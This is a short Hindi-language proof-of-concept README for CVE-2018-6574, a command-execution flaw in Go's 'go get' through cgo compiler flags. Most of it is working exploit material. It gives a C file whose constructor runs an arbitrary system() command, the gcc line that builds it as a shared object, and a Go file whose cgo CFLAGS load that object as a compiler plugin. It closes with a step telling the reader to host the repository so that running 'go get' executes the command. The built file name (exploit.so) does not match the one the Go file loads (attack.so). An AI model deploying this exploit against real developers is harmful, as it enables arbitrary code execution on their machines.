CVE-2018-6574 POC

CVE-2018-6574 के लिए शोषण POC

संकलन

1. निम्नलिखित के साथ एक शोषण फ़ाइल बनाएं:

#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}

2. इसे संकलित करें:

gcc -shared -o exploit.so -fPIC exploit.c

3. अंत में, आपको गो कोड की आवश्यकता है जो cgo को आपके प्लगइन का उपयोग करने के लिए कहेगा:

package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}

4. फिर इसे GitHub पर होस्ट करें और कमांड निष्पादन प्राप्त करने के लिए चलाएं:

go get github.com/your-repo/CVE-2018-6574-POC

संस्करण

• 1.8.7 से पहले
• 1.9.4 से पहले
• Go 1.10rc2 से पहले

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2018-6574
• http://blog.nsfocus.net/cve-2018-6574/